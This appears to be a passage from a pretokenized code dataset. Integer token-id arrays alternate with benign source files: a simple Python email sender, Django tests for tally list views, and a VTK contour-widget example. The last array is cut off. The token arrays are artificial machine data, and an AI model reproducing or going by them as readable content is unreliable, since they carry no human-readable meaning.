855,
3096,
29901,
13,
12,
12,
7720,
29889,
17158,
29918,
9641,
29898,
8143,
29918,
19935,
29922,
5574,
29897,
13,
12,
12,
7720,
29889,
7620,
29918,
1272,
580,
13,
2870,
29901,
13,
12,
361,
1065,
29918,
2230,
1405,
29871,
29900,
29901,
13,
12,
12,
7720,
29889,
3389,
29898,
7827,
29918,
2230,
29922,
3389,
29918,
2230,
29897,
13,
12,
361,
4078,
855,
3096,
29901,
13,
12,
12,
7720,
29889,
20119,
675,
29898,
29920,
29922,
29900,
29892,
1510,
29922,
5574,
29892,
2380,
29922,
29900,
29892,
4078,
29922,
5574,
29892,
4138,
29922,
7720,
29889,
12083,
29897,
13,
12,
12,
7720,
29889,
7620,
29918,
1272,
580,
13,
12,
2870,
29901,
13,
12,
12,
7720,
29889,
20119,
675,
29898,
29920,
29922,
29900,
29892,
1510,
29922,
5574,
29897,
13,
13,
361,
2582,
29901,
13,
12,
21646,
29918,
10185,
29918,
3742,
1693,
353,
5159,
13,
12,
21646,
29918,
10185,
29918,
25154,
5362,
353,
518,
2636,
363,
432,
297,
3464,
29898,
3286,
2415,
29918,
4801,
11142,
4638,
12,
12,
29937,
1353,
310,
6809,
2415,
2625,
6459,
943,
13,
12,
4801,
29918,
791,
29879,
29918,
3742,
1693,
353,
1409,
29898,
7720,
29889,
4801,
11142,
29961,
29900,
1822,
4801,
3019,
29918,
5975,
580,
1839,
29923,
2033,
14352,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29901,
2314,
13,
12,
4801,
29918,
791,
29879,
29918,
25154,
5362,
353,
518,
2378,
29898,
7720,
29889,
4801,
11142,
29961,
29875,
1822,
4801,
3019,
29918,
5975,
580,
1839,
29923,
2033,
14352,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29901,
2314,
363,
474,
297,
3464,
29898,
29896,
29892,
7431,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
7240,
29896,
4638,
13,
12,
1454,
474,
297,
3464,
29898,
2435,
29898,
7720,
29889,
4801,
11142,
29961,
29900,
1822,
29916,
22164,
13,
12,
12,
19145,
29918,
21646,
353,
6856,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
448,
988,
29898,
4801,
29918,
791,
29879,
29918,
3742,
1693,
7503,
29892,
474,
29892,
29871,
29906,
29962,
1275,
4236,
29898,
4801,
29918,
791,
29879,
29918,
3742,
1693,
7503,
29892,
474,
29892,
29871,
29906,
12622,
14352,
29896,
3816,
29899,
29896,
29962,
13,
12,
12,
21646,
29918,
10185,
29918,
3742,
1693,
29889,
4397,
3552,
29898,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29914,
29946,
718,
3785,
29918,
21646,
6802,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29897,
29995,
29896,
29897,
13,
12,
12,
1454,
432,
297,
3464,
29898,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
22164,
13,
12,
12,
12,
19145,
29918,
21646,
353,
6856,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
448,
988,
29898,
4801,
29918,
791,
29879,
29918,
25154,
5362,
29961,
29926,
3816,
29901,
29892,
474,
29892,
29871,
29906,
29962,
1275,
4236,
29898,
4801,
29918,
791,
29879,
29918,
25154,
5362,
29961,
29926,
3816,
29901,
29892,
474,
29892,
29871,
29906,
12622,
14352,
29896,
3816,
29899,
29896,
29962,
13,
12,
12,
12,
21646,
29918,
10185,
29918,
25154,
5362,
29961,
29926,
1822,
4397,
3552,
29898,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29914,
29946,
718,
3785,
29918,
21646,
6802,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29897,
29995,
29896,
29897,
13,
12,
29916,
1272,
353,
1409,
4197,
29916,
363,
921,
297,
3464,
6278,
29906,
29945,
29892,
29871,
29906,
29945,
29897,
2314,
13,
12,
29937,
21646,
29918,
29881,
17678,
353,
8521,
2378,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
29897,
718,
1409,
29898,
21646,
29918,
10185,
29918,
3742,
1693,
29897,
718,
29871,
29906,
29930,
1631,
29897,
29995,
29898,
29906,
29930,
1631,
29897,
13,
12,
29937,
1129,
415,
29892,
903,
353,
11672,
29918,
9202,
29898,
9202,
29918,
9891,
29892,
921,
1272,
29892,
8576,
29918,
29881,
17678,
29897,
13,
12,
4532,
29898,
1949,
543,
21646,
29918,
10185,
1159,
13,
12,
5317,
29898,
29916,
1272,
29914,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29892,
8576,
29918,
10185,
29918,
3742,
1693,
29892,
3858,
543,
797,
29883,
1693,
8576,
1159,
13,
12,
1454,
432,
297,
3464,
29898,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
22164,
13,
12,
12,
5317,
29898,
29916,
1272,
29914,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29892,
8576,
29918,
10185,
29918,
25154,
5362,
29961,
29926,
1402,
3858,
543,
29923,
1050,
5362,
8576,
17969,
710,
29898,
29926,
876,
13,
12,
29937,
5317,
29898,
29916,
1272,
29914,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29892,
8576,
29918,
29881,
17678,
29892,
3858,
543,
4819,
559,
4328,
1159,
13,
12,
29937,
5317,
29898,
29916,
1272,
29914,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29892,
6216,
29918,
9891,
29898,
29916,
1272,
29892,
334,
1129,
415,
511,
3858,
543,
23902,
345,
29899,
9202,
363,
1963,
559,
4328,
1159,
13,
12,
1454,
432,
297,
3464,
29898,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
22164,
13,
12,
12,
1129,
415,
29892,
903,
353,
11672,
29918,
9202,
29898,
9202,
29918,
9891,
29892,
921,
1272,
29892,
8576,
29918,
10185,
29918,
25154,
5362,
29961,
29926,
2314,
13,
12,
12,
5317,
29898,
29916,
1272,
29914,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29892,
6216,
29918,
9891,
29898,
29916,
1272,
29892,
334,
1129,
415,
511,
3858,
543,
23902,
345,
29899,
9202,
363,
1963,
559,
297,
1439,
3019,
17969,
710,
29898,
29926,
876,
13,
12,
12,
29937,
2158,
29898,
1129,
415,
29897,
13,
12,
29916,
1643,
703,
29916,
29914,
2892,
1159,
13,
12,
29891,
1643,
703,
21646,
29914,
29906,
1631,
1159,
13,
12,
26172,
580,
13,
12,
29937,
3257,
703,
23902,
345,
29899,
9202,
1963,
559,
4328,
29901,
1273,
29945,
29889,
29953,
29888,
29930,
29916,
1068,
29906,
718,
1273,
29945,
29889,
29953,
29888,
29930,
29916,
718,
1273,
29945,
29889,
29953,
29888,
29908,
1273,
18761,
29898,
1129,
415,
876,
13,
12,
4294,
580,
13,
13,
12,
4532,
29898,
1949,
543,
21646,
29918,
10185,
29918,
2764,
345,
29918,
9202,
1159,
13,
12,
1454,
432,
297,
3464,
29898,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
22164,
13,
12,
12,
361,
432,
29995,
29946,
1275,
29871,
29900,
29901,
13,
12,
12,
12,
1491,
5317,
29898,
29906,
29892,
29871,
29946,
29892,
432,
29914,
29946,
29974,
29896,
29897,
13,
12,
12,
12,
3257,
703,
6362,
11142,
1273,
29896,
29875,
304,
1273,
29906,
29875,
29908,
1273,
18761,
4197,
29926,
29892,
432,
29974,
29941,
12622,
13,
12,
12,
12,
29916,
1643,
703,
29916,
29914,
2892,
1159,
13,
12,
12,
12,
29891,
1643,
703,
21646,
29914,
29906,
1631,
1159,
13,
12,
12,
12,
29891,
2576,
29898,
29900,
29892,
29871,
29896,
29897,
13,
12,
12,
1129,
415,
29892,
903,
353,
11672,
29918,
9202,
29898,
9202,
29918,
9891,
29892,
921,
1272,
29892,
8576,
29918,
10185,
29918,
25154,
5362,
29961,
29926,
2314,
13,
12,
12,
5317,
29898,
29916,
1272,
29914,
7720,
29889,
29879,
2863,
29961,
29900,
1822,
19145,
29892,
6216,
29918,
9891,
29898,
29916,
1272,
29892,
334,
1129,
415,
511,
3858,
543,
23902,
345,
29899,
9202,
363,
1963,
559,
297,
1439,
3019,
17969,
710,
29898,
29926,
876,
13,
12,
12,
2158,
29898,
1129,
415,
29897,
13,
12,
29937,
26172,
580,
13,
12,
2146,
415,
1740,
703,
23902,
345,
29899,
9202,
292,
313,
1168,
3471,
11067,
1797,
310,
6459,
943,
297,
1269,
6492,
29892,
7254,
29901,
29871,
29896,
29892,
24841,
29901,
29871,
29906,
29892,
7933,
29901,
29871,
29941,
29892,
2654,
29901,
29871,
29946,
25760,
13,
12,
4294,
580,
13,
12,
13,
12,
4532,
29898,
1949,
543,
21646,
29918,
29890,
296,
1159,
13,
12,
5317,
4197,
29916,
363,
921,
297,
3464,
29898,
29941,
29900,
29892,
29871,
29941,
29900,
29974,
29945,
29930,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
511,
29871,
29945,
29897,
1402,
518,
4801,
3019,
29961,
2435,
29898,
4801,
3019,
29897,
458,
29906,
29962,
448,
1439,
3019,
29961,
29900,
29962,
363,
1439,
3019,
297,
8576,
29918,
10185,
29918,
25154,
5362,
1402,
3858,
543,
4819,
559,
8722,
525,
29890,
296,
29915,
1159,
13,
12,
5317,
4197,
29916,
363,
921,
297,
3464,
29898,
29941,
29900,
29892,
29871,
29941,
29900,
29974,
29945,
29930,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
511,
29871,
29945,
29897,
1402,
518,
29900,
363,
921,
297,
3464,
29898,
2435,
29898,
21646,
29918,
10185,
29918,
25154,
5362,
876,
1402,
3858,
543,
24214,
1196,
1159,
13,
12,
29916,
1643,
703,
4801,
3019,
2602,
1159,
13,
12,
3257,
703,
6816,
3745,
310,
525,
29890,
296,
29915,
310,
1422,
8576,
28723,
408,
4328,
310,
29540,
472,
7145,
322,
472,
1095,
310,
1269,
1439,
3019,
1159,
13,
12,
26172,
580,
13,
12,
4294,
580,
13,
13,
355,
29918,
2230,
353,
931,
580,
13,
2158,
703,
7944,
29901,
613,
1095,
29918,
2230,
29899,
2962,
29918,
2230,
29897,
29871,
13,
29871,
13,
2
] |
Email.py | maste150hhu/Python-Email-Client | 1 | 148272 | <gh_stars>1-10
import os
from Account import Account
import datetime
#class Email:
# An email consists of sender (send)
# recipient (rec), title, text
#def __init__(self, send, rec, title, text):
# self.send = send
# self.rec = rec
# self.title = title
# self.text = text
# this function will send an email to the recipient
# while writing its content into his inbox-"table"
def send(from_):
try:
name = input("To: ")
path = "Users/" + name + "-inbox" + ".txt"
print(path)
fh = open(path, 'a')
tit = input("Title: ")
text = input("Content: ")
now = datetime.datetime.now()
fh.write(now.strftime("%Y-%m-%d %H:%M") + os.linesep)
fh.write(from_)
fh.write(name + os.linesep)
fh.write(tit + os.linesep)
fh.write(text + os.linesep)
fh.close()
print()
print("Your mail was sent to " + name)
except FileNotFoundError:
print()
print("The username you entered does not exist") | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
2897,
13,
3166,
16535,
1053,
16535,
13,
5215,
12865,
13,
13,
29937,
1990,
22608,
29901,
13,
13,
1678,
396,
530,
4876,
11624,
310,
10004,
313,
6717,
29897,
13,
1678,
396,
23957,
993,
313,
3757,
511,
3611,
29892,
1426,
13,
1678,
396,
1753,
4770,
2344,
12035,
1311,
29892,
3638,
29892,
1162,
29892,
3611,
29892,
1426,
1125,
13,
1678,
396,
1678,
1583,
29889,
6717,
353,
3638,
13,
1678,
396,
1678,
1583,
29889,
3757,
353,
1162,
13,
1678,
396,
1678,
1583,
29889,
3257,
353,
3611,
13,
1678,
396,
1678,
1583,
29889,
726,
353,
1426,
13,
13,
1678,
396,
445,
740,
674,
3638,
385,
4876,
304,
278,
23957,
993,
13,
1678,
396,
1550,
5007,
967,
2793,
964,
670,
297,
1884,
29899,
29908,
2371,
29908,
13,
1753,
3638,
29898,
3166,
29918,
1125,
13,
13,
4706,
1018,
29901,
13,
13,
9651,
1024,
353,
1881,
703,
1762,
29901,
16521,
13,
9651,
2224,
353,
376,
5959,
12975,
718,
1024,
718,
11663,
262,
1884,
29908,
718,
11393,
3945,
29908,
13,
9651,
1596,
29898,
2084,
29897,
13,
13,
9651,
285,
29882,
353,
1722,
29898,
2084,
29892,
525,
29874,
1495,
13,
632,
13,
9651,
4329,
353,
1881,
703,
7030,
29901,
16521,
13,
9651,
1426,
353,
1881,
703,
3916,
29901,
16521,
13,
13,
9651,
1286,
353,
12865,
29889,
12673,
29889,
3707,
580,
13,
9651,
285,
29882,
29889,
3539,
29898,
3707,
29889,
710,
615,
603,
11702,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
1159,
718,
2897,
29889,
1915,
968,
29886,
29897,
13,
9651,
285,
29882,
29889,
3539,
29898,
3166,
19925,
13,
9651,
285,
29882,
29889,
3539,
29898,
978,
718,
2897,
29889,
1915,
968,
29886,
29897,
13,
9651,
285,
29882,
29889,
3539,
29898,
23545,
718,
2897,
29889,
1915,
968,
29886,
29897,
13,
9651,
285,
29882,
29889,
3539,
29898,
726,
718,
2897,
29889,
1915,
968,
29886,
29897,
13,
13,
9651,
285,
29882,
29889,
5358,
580,
13,
13,
9651,
1596,
580,
13,
9651,
1596,
703,
10858,
10524,
471,
2665,
304,
376,
718,
1024,
29897,
13,
13,
4706,
5174,
3497,
17413,
2392,
29901,
13,
9651,
1596,
580,
13,
9651,
1596,
703,
1576,
8952,
366,
7802,
947,
451,
1863,
1159,
2
] |
tally_ho/apps/tally/tests/views/data/test_tally_list_view.py | onaio/tally-ho | 12 | 197702 | import json
from django.test import RequestFactory
from tally_ho.apps.tally.views.data import tally_list_view as views
from tally_ho.libs.permissions import groups
from tally_ho.libs.tests.test_base import create_tally, TestBase
class TestTallyListView(TestBase):
"""
Test tally list class base views.
"""
def setUp(self):
self.factory = RequestFactory()
self._create_permission_groups()
self._create_and_login_user()
self._add_user_to_group(self.user, groups.SUPER_ADMINISTRATOR)
def test_tally_list_view(self):
"""
Test that tally list view template is rendered correctly
"""
tally = create_tally()
tally.users.add(self.user)
view = views.TallyListView.as_view()
request = self.factory.get('/')
request.user = self.user
response = view(request)
self.assertContains(response, "Tally List")
self.assertContains(response, "Id")
self.assertContains(response, "Name")
self.assertContains(response, "Creation")
self.assertContains(response, "Last Modification")
self.assertContains(response, "Administration")
self.assertContains(response, "Actions")
def test_tally_list_data_view(self):
"""
Test that tally list data view returns correct data
"""
tally = create_tally()
tally.users.add(self.user)
view = views.TallyListDataView.as_view()
request = self.factory.get('/')
request.user = self.user
response = view(request)
tally_id, tally_name, created_date, modified_formatted_date,\
admin_view_link, edit_link = json.loads(
response.content.decode())['data'][0]
self.assertEquals(
admin_view_link,
f'<a href="/super-administrator/{tally.id}/"'
' class ="btn btn-default btn-small">Admin View</a>')
self.assertEquals(
edit_link,
f'<a href="/tally-manager/update-tally/{tally.id}/"'
' class ="btn btn-default btn-small">Edit</a>')
self.assertEquals(tally_id, str(tally.id))
self.assertEquals(tally_name, tally.name)
self.assertEquals(created_date, str(tally.created_date))
self.assertEquals(
modified_formatted_date,
tally.modified_date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
def test_tally_list_data_view_valid_search_filter(self):
"""
Test that tally list data view returns the correct data
when a valid search filter is applied.
"""
tally_1 = create_tally(name='example_1_tally')
create_tally(name='example_2_tally')
view = views.TallyListDataView.as_view()
request = self.factory.get('/')
request.user = self.user
request.GET = request.GET.copy()
request.GET['search[value]'] = tally_1.name
response = view(request)
data = json.loads(response.content.decode())['data']
tally_id, tally_name, created_date, modified_formatted_date,\
admin_view_link, edit_link = data[0]
self.assertEquals(1, len(data))
self.assertEquals(
admin_view_link,
f'<a href="/super-administrator/{tally_1.id}/"'
' class ="btn btn-default btn-small">Admin View</a>')
self.assertEquals(
edit_link,
f'<a href="/tally-manager/update-tally/{tally_1.id}/"'
' class ="btn btn-default btn-small">Edit</a>')
self.assertEquals(tally_id, str(tally_1.id))
self.assertEquals(tally_name, tally_1.name)
self.assertEquals(created_date, str(tally_1.created_date))
self.assertEquals(
modified_formatted_date,
tally_1.modified_date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
def test_tally_list_data_view_invalid_search_filter(self):
"""
Test that tally list data view returns no data when an invalid
search filter is applied.
"""
create_tally(name='example_1_tally')
create_tally(name='example_2_tally')
view = views.TallyListDataView.as_view()
request = self.factory.get('/')
request.user = self.user
request.GET = request.GET.copy()
request.GET['search[value]'] = 'Invalid search text'
response = view(request)
json_data = json.loads(response.content.decode())
self.assertListEqual([], json_data['data'])
self.assertEquals(2, json_data['recordsTotal'])
| [
1,
1053,
4390,
13,
3166,
9557,
29889,
1688,
1053,
10729,
5126,
13,
13,
3166,
260,
635,
29918,
1251,
29889,
13371,
29889,
29873,
635,
29889,
7406,
29889,
1272,
1053,
260,
635,
29918,
1761,
29918,
1493,
408,
8386,
13,
3166,
260,
635,
29918,
1251,
29889,
10254,
29889,
17858,
6847,
1053,
6471,
13,
3166,
260,
635,
29918,
1251,
29889,
10254,
29889,
21150,
29889,
1688,
29918,
3188,
1053,
1653,
29918,
29873,
635,
29892,
4321,
5160,
13,
13,
13,
1990,
4321,
29911,
635,
15660,
29898,
3057,
5160,
1125,
13,
1678,
9995,
13,
1678,
4321,
260,
635,
1051,
770,
2967,
8386,
29889,
13,
1678,
9995,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
14399,
353,
10729,
5126,
580,
13,
4706,
1583,
3032,
3258,
29918,
16074,
29918,
13155,
580,
13,
4706,
1583,
3032,
3258,
29918,
392,
29918,
7507,
29918,
1792,
580,
13,
4706,
1583,
3032,
1202,
29918,
1792,
29918,
517,
29918,
2972,
29898,
1311,
29889,
1792,
29892,
6471,
29889,
29903,
4897,
1001,
29918,
3035,
16173,
9047,
29934,
1299,
1955,
29897,
13,
13,
1678,
822,
1243,
29918,
29873,
635,
29918,
1761,
29918,
1493,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
393,
260,
635,
1051,
1776,
4472,
338,
13751,
5149,
13,
4706,
9995,
13,
4706,
260,
635,
353,
1653,
29918,
29873,
635,
580,
13,
4706,
260,
635,
29889,
7193,
29889,
1202,
29898,
1311,
29889,
1792,
29897,
13,
4706,
1776,
353,
8386,
29889,
29911,
635,
15660,
29889,
294,
29918,
1493,
580,
13,
4706,
2009,
353,
1583,
29889,
14399,
29889,
657,
11219,
1495,
13,
4706,
2009,
29889,
1792,
353,
1583,
29889,
1792,
13,
4706,
2933,
353,
1776,
29898,
3827,
29897,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
29911,
635,
2391,
1159,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
1204,
1159,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
1170,
1159,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
9832,
362,
1159,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
8897,
3382,
2450,
1159,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
12754,
8306,
1159,
13,
4706,
1583,
29889,
9294,
21409,
29898,
5327,
29892,
376,
26525,
1159,
13,
13,
1678,
822,
1243,
29918,
29873,
635,
29918,
1761,
29918,
1272,
29918,
1493,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
393,
260,
635,
1051,
848,
1776,
3639,
1959,
848,
13,
4706,
9995,
13,
4706,
260,
635,
353,
1653,
29918,
29873,
635,
580,
13,
4706,
260,
635,
29889,
7193,
29889,
1202,
29898,
1311,
29889,
1792,
29897,
13,
4706,
1776,
353,
8386,
29889,
29911,
635,
1293,
1469,
1043,
29889,
294,
29918,
1493,
580,
13,
4706,
2009,
353,
1583,
29889,
14399,
29889,
657,
11219,
1495,
13,
4706,
2009,
29889,
1792,
353,
1583,
29889,
1792,
13,
4706,
2933,
353,
1776,
29898,
3827,
29897,
13,
13,
4706,
260,
635,
29918,
333,
29892,
260,
635,
29918,
978,
29892,
2825,
29918,
1256,
29892,
9120,
29918,
689,
19667,
29918,
1256,
2053,
13,
9651,
4113,
29918,
1493,
29918,
2324,
29892,
3863,
29918,
2324,
353,
4390,
29889,
18132,
29898,
13,
18884,
2933,
29889,
3051,
29889,
13808,
3101,
1839,
1272,
2033,
29961,
29900,
29962,
13,
13,
4706,
1583,
29889,
9294,
14776,
29898,
13,
9651,
4113,
29918,
1493,
29918,
2324,
29892,
13,
9651,
285,
29915,
29966,
29874,
2822,
13802,
9136,
29899,
6406,
2132,
1061,
19248,
29873,
635,
29889,
333,
6822,
29908,
29915,
13,
9651,
525,
770,
29465,
7290,
9503,
29899,
4381,
9503,
29899,
9278,
1013,
12754,
4533,
829,
29874,
29958,
1495,
13,
4706,
1583,
29889,
9294,
14776,
29898,
13,
9651,
3863,
29918,
2324,
29892,
13,
9651,
285,
29915,
29966,
29874,
2822,
13802,
29873,
635,
29899,
12847,
29914,
5504,
29899,
29873,
635,
19248,
29873,
635,
29889,
333,
6822,
29908,
29915,
13,
9651,
525,
770,
29465,
7290,
9503,
29899,
4381,
9503,
29899,
9278,
1013,
6103,
829,
29874,
29958,
1495,
13,
4706,
1583,
29889,
9294,
14776,
29898,
29873,
635,
29918,
333,
29892,
851,
29898,
29873,
635,
29889,
333,
876,
13,
4706,
1583,
29889,
9294,
14776,
29898,
29873,
635,
29918,
978,
29892,
260,
635,
29889,
978,
29897,
13,
4706,
1583,
29889,
9294,
14776,
29898,
11600,
29918,
1256,
29892,
851,
29898,
29873,
635,
29889,
11600,
29918,
1256,
876,
13,
4706,
1583,
29889,
9294,
14776,
29898,
13,
9651,
9120,
29918,
689,
19667,
29918,
1256,
29892,
13,
9651,
260,
635,
29889,
1545,
2164,
29918,
1256,
29889,
710,
615,
603,
877,
29995,
29874,
29892,
1273,
29881,
1273,
29890,
1273,
29979,
1273,
29950,
16664,
29924,
16664,
29903,
1273,
29999,
8785,
13,
13,
1678,
822,
1243,
29918,
29873,
635,
29918,
1761,
29918,
1272,
29918,
1493,
29918,
3084,
29918,
4478,
29918,
4572,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
393,
260,
635,
1051,
848,
1776,
3639,
278,
1959,
848,
13,
4706,
746,
263,
2854,
2740,
4175,
338,
7436,
29889,
13,
4706,
9995,
13,
4706,
260,
635,
29918,
29896,
353,
1653,
29918,
29873,
635,
29898,
978,
2433,
4773,
29918,
29896,
29918,
29873,
635,
1495,
13,
4706,
1653,
29918,
29873,
635,
29898,
978,
2433,
4773,
29918,
29906,
29918,
29873,
635,
1495,
13,
4706,
1776,
353,
8386,
29889,
29911,
635,
1293,
1469,
1043,
29889,
294,
29918,
1493,
580,
13,
4706,
2009,
353,
1583,
29889,
14399,
29889,
657,
11219,
1495,
13,
4706,
2009,
29889,
1792,
353,
1583,
29889,
1792,
13,
4706,
2009,
29889,
7194,
353,
2009,
29889,
7194,
29889,
8552,
580,
13,
4706,
2009,
29889,
7194,
1839,
4478,
29961,
1767,
29962,
2033,
353,
260,
635,
29918,
29896,
29889,
978,
13,
4706,
2933,
353,
1776,
29898,
3827,
29897,
13,
4706,
848,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29889,
13808,
3101,
1839,
1272,
2033,
13,
4706,
260,
635,
29918,
333,
29892,
260,
635,
29918,
978,
29892,
2825,
29918,
1256,
29892,
9120,
29918,
689,
19667,
29918,
1256,
2053,
13,
9651,
4113,
29918,
1493,
29918,
2324,
29892,
3863,
29918,
2324,
353,
848,
29961,
29900,
29962,
13,
13,
4706,
1583,
29889,
9294,
14776,
29898,
29896,
29892,
7431,
29898,
1272,
876,
13,
4706,
1583,
29889,
9294,
14776,
29898,
13,
9651,
4113,
29918,
1493,
29918,
2324,
29892,
13,
9651,
285,
29915,
29966,
29874,
2822,
13802,
9136,
29899,
6406,
2132,
1061,
19248,
29873,
635,
29918,
29896,
29889,
333,
6822,
29908,
29915,
13,
9651,
525,
770,
29465,
7290,
9503,
29899,
4381,
9503,
29899,
9278,
1013,
12754,
4533,
829,
29874,
29958,
1495,
13,
4706,
1583,
29889,
9294,
14776,
29898,
13,
9651,
3863,
29918,
2324,
29892,
13,
9651,
285,
29915,
29966,
29874,
2822,
13802,
29873,
635,
29899,
12847,
29914,
5504,
29899,
29873,
635,
19248,
29873,
635,
29918,
29896,
29889,
333,
6822,
29908,
29915,
13,
9651,
525,
770,
29465,
7290,
9503,
29899,
4381,
9503,
29899,
9278,
1013,
6103,
829,
29874,
29958,
1495,
13,
4706,
1583,
29889,
9294,
14776,
29898,
29873,
635,
29918,
333,
29892,
851,
29898,
29873,
635,
29918,
29896,
29889,
333,
876,
13,
4706,
1583,
29889,
9294,
14776,
29898,
29873,
635,
29918,
978,
29892,
260,
635,
29918,
29896,
29889,
978,
29897,
13,
4706,
1583,
29889,
9294,
14776,
29898,
11600,
29918,
1256,
29892,
851,
29898,
29873,
635,
29918,
29896,
29889,
11600,
29918,
1256,
876,
13,
4706,
1583,
29889,
9294,
14776,
29898,
13,
9651,
9120,
29918,
689,
19667,
29918,
1256,
29892,
13,
9651,
260,
635,
29918,
29896,
29889,
1545,
2164,
29918,
1256,
29889,
710,
615,
603,
877,
29995,
29874,
29892,
1273,
29881,
1273,
29890,
1273,
29979,
1273,
29950,
16664,
29924,
16664,
29903,
1273,
29999,
8785,
13,
13,
1678,
822,
1243,
29918,
29873,
635,
29918,
1761,
29918,
1272,
29918,
1493,
29918,
20965,
29918,
4478,
29918,
4572,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
393,
260,
635,
1051,
848,
1776,
3639,
694,
848,
746,
385,
8340,
13,
4706,
2740,
4175,
338,
7436,
29889,
13,
4706,
9995,
13,
4706,
1653,
29918,
29873,
635,
29898,
978,
2433,
4773,
29918,
29896,
29918,
29873,
635,
1495,
13,
4706,
1653,
29918,
29873,
635,
29898,
978,
2433,
4773,
29918,
29906,
29918,
29873,
635,
1495,
13,
4706,
1776,
353,
8386,
29889,
29911,
635,
1293,
1469,
1043,
29889,
294,
29918,
1493,
580,
13,
4706,
2009,
353,
1583,
29889,
14399,
29889,
657,
11219,
1495,
13,
4706,
2009,
29889,
1792,
353,
1583,
29889,
1792,
13,
4706,
2009,
29889,
7194,
353,
2009,
29889,
7194,
29889,
8552,
580,
13,
4706,
2009,
29889,
7194,
1839,
4478,
29961,
1767,
29962,
2033,
353,
525,
13919,
2740,
1426,
29915,
13,
4706,
2933,
353,
1776,
29898,
3827,
29897,
13,
4706,
4390,
29918,
1272,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29889,
13808,
3101,
13,
13,
4706,
1583,
29889,
9294,
1293,
9843,
4197,
1402,
4390,
29918,
1272,
1839,
1272,
11287,
13,
4706,
1583,
29889,
9294,
14776,
29898,
29906,
29892,
4390,
29918,
1272,
1839,
3757,
4339,
11536,
11287,
13,
2
] |
code/Python/vtk_development/VTK_Example/Widgets/ContourWidget.py | nhyilin/devNotes | 0 | 128844 | #!/usr/bin/python
import vtk
import sys
import math
# Create the RenderWindow, Renderer and both Actors
renderer = vtk.vtkRenderer()
renderWindow = vtk.vtkRenderWindow()
renderWindow.AddRenderer(renderer)
interactor = vtk.vtkRenderWindowInteractor()
interactor.SetRenderWindow(renderWindow)
renderer.SetBackground(0.1, 0.2, 0.4)
renderWindow.SetSize(600, 600)
contourRep = vtk.vtkOrientedGlyphContourRepresentation()
contourRep.GetLinesProperty().SetColor(1, 0, 0) # set color to red
contourWidget = vtk.vtkContourWidget()
contourWidget.SetInteractor(interactor)
contourWidget.SetRepresentation(contourRep)
contourWidget.On()
for arg in sys.argv:
if "-Shift" == arg:
contourWidget.GetEventTranslator().RemoveTranslation(
vtk.vtkCommand.LeftButtonPressEvent)
contourWidget.GetEventTranslator().SetTranslation(
vtk.vtkCommand.LeftButtonPressEvent,
vtk.vtkWidgetEvent.Translate)
elif "-Scale" == arg:
contourWidget.GetEventTranslator().RemoveTranslation(
vtk.vtkCommand.LeftButtonPressEvent)
contourWidget.GetEventTranslator().SetTranslation(
vtk.vtkCommand.LeftButtonPressEvent,
vtk.vtkWidgetEvent.Scale)
pd = vtk.vtkPolyData()
points = vtk.vtkPoints()
lines = vtk.vtkCellArray()
for i in range(0, 21):
angle = 2.0 * math.pi * i / 20.0
points.InsertPoint(i, 0.1 * math.cos(angle),
0.1 * math.sin(angle), 0.0)
lines.InsertNextCell(i)
pd.SetPoints(points)
pd.SetLines(lines)
contourWidget.Initialize(pd, 1)
contourWidget.Render()
renderer.ResetCamera()
renderWindow.Render()
interactor.Initialize()
interactor.Start()
contourWidget.Off()
| [
1,
18787,
4855,
29914,
2109,
29914,
4691,
13,
13,
5215,
325,
11178,
13,
5215,
10876,
13,
5215,
5844,
13,
13,
29937,
6204,
278,
26000,
5907,
29892,
26000,
261,
322,
1716,
3185,
943,
13,
13,
9482,
261,
353,
325,
11178,
29889,
29894,
11178,
21323,
580,
13,
9482,
5907,
353,
325,
11178,
29889,
29894,
11178,
10716,
5907,
580,
13,
9482,
5907,
29889,
2528,
21323,
29898,
9482,
261,
29897,
13,
13,
1639,
7168,
353,
325,
11178,
29889,
29894,
11178,
10716,
5907,
4074,
7168,
580,
13,
1639,
7168,
29889,
2697,
10716,
5907,
29898,
9482,
5907,
29897,
13,
13,
9482,
261,
29889,
2697,
10581,
29898,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29892,
29871,
29900,
29889,
29946,
29897,
13,
9482,
5907,
29889,
2697,
3505,
29898,
